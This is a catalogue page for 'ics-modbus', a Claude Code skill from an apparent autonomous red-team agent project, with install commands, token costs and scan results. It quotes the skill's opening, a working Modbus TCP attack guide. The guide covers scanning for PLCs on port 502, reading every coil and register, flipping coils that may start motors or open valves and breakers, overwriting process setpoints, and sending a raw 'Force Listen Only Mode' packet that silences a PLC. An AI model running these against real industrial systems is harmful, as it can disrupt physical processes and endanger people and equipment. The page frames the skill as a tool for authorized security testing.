ics-modbus

ics-modbus is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 60 tokens per session (1,209 once invoked), scanned A, original, Apache-2.0.

A security testing guide for Modbus TCP, an industrial protocol used to communicate with PLCs and other control equipment. It covers finding devices, reading their registers, identifying models, and checking unauthenticated control access.

In plain words
What is it for?
Use it to scan for Modbus devices, enumerate coils and registers, identify vendors and firmware, inspect diagnostic functions, and assess read, write, and denial-of-service exposure.
Why use it?
It helps reveal systems where reachable network access may be enough to inspect or change coils and register values because Modbus normally lacks built-in authentication and encryption.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to scan for Modbus devices, enumerate coils and registers, identify vendors and firmware, inspect diagnostic functions, and assess read, write, and denial-of-service exposure.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/modbus
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,471 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill modbus
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ics-modbus

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/modbus/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/modbus)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/modbus"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/modbus/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ics-modbus

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/modbus"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/modbus.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 60 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,209 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 20
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00060 $0.01209
Opus 5 $0.00030 $0.00605
Sonnet 5 $0.00012 $0.00242
Haiku 4.5 $0.00006 $0.00121

Measured 6d ago against content hash bf5ea55140e6, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

ics-modbus scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

  • modbus — 97% identical, 2 lines differ
packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md · 117 lines

How it starts

The opening of the file, as written. The whole thing — 117 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Modbus TCP Attack

Modbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable.

Discover

# Scan for port 502
nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24

# Or with Shodan / Censys: port:502 country:XX
# Internet-facing Modbus is still depressingly common (search "modbus" on Shodan)

Read everything

# Python pymodbus
python3 -c '
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
print("Coils 0-100:",   c.read_coils(0, 100).bits)
print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits)
print("Hold regs:",      c.read_holding_registers(0, 100).registers)
print("Input regs:",     c.read_input_registers(0, 100).registers)
c.close()
'

# Or with mbtget (CLI)
mbtget -r1 -a 0 -n 100 10.0.0.5  # read coils
mbtget -r3 -a 0 -n 100 10.0.0.5  # read holding regs

# nmap script enum
nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5

Identify the device (FC43 / MEI)

# Function code 43 (Read Device Identification) returns vendor / model / firmware
python3 -c '
from pymodbus.client import ModbusTcpClient
from pymodbus.mei_message import ReadDeviceInformationRequest
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
r = c.execute(ReadDeviceInformationRequest(read_code=1))
print(r.information)
c.close()
'
# Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...}

Write attacks

Single coil flip (DO output)

c.write_coil(address=10, value=True)   # flip coil 10 ON
# In a PLC, coil 10 might be: motor start, valve open, breaker close

Tamper holding registers (process setpoints)

c.write_register(address=100, value=9999)   # often a setpoint or limit

Flood diagnostic FC8 sub-function 4 ("Force Listen Only Mode")

# Stops the PLC from responding to ANY Modbus request — soft DoS
# Use raw socket:
import socket, struct
s = socket.socket()
s.connect(("10.0.0.5", 502))
mbap = struct.pack(">HHHB", 1, 0, 6, 1)
pdu  = struct.pack(">BHH", 8, 0x0004, 0x0000)
s.send(mbap + pdu)

Read the full file on GitHub · 117 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 117 lines · 60 tokens per session scan A bf5ea55140e6

Subscribe to this mod's changes

ics-modbus is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,471 stars, last pushed 10d ago), licensed Apache-2.0. It adds 60 tokens to every session and 1,209 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.